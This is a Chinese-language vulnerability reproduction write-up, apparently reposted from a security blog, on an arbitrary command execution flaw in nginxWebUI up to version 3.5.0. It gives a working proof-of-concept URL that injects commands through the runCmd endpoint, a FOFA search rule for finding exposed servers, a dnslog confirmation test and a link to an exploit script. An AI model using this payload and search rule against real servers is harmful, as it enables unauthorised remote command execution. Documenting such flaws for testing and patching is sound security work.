欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

简单复制nginxWebUI runCmd命令执行漏洞

最编程 2024-07-14 17:56:38
...

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2023年06月29日10:58:03

1.漏洞描述

nginxWebUI是一款图形化管理nginx配置的工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发,tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx的图形化控制闭环.

参考自官方网站:https://www.nginxwebui.cn/

nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。

该漏洞利用条件简单,漏洞危害较高。

影响版本:nginxWebUI <= 3.5.0

2.漏洞复现

poc

url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

fofa规则:app="nginxWebUI"

image.png

在这里以dnslog平台来进行测试:

http://www.dnslog.cn/

image.png

直接输入刚刚的poc测试:

image.png

image.png

此时证明漏洞存在,测试下能否执行命令回显:

在这里使用id命令:

url地址 + /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx

image.png

4.exp

相关脚本已上传至github

https://github.com/crow821/crowsec

你也可以在乌鸦安全公众号后台回复关键字:nginx 下载

单个脚本可以一直执行命令:

image.png

在这里注意我前面有一个运行失败的标志:

image.png

在这里主要是考虑如果遇到英文环境,在这里可能会变化掉,所以我对此做了保留:

image.png

主要是为了适配一些非UTF-8的环境,如果你有强迫症的话,你可以将这句话修改下:

res = re.findall('<br>运行失败<br>(.*?)<br>nginx<br>"}', result)

image.png

感觉影响其实不大。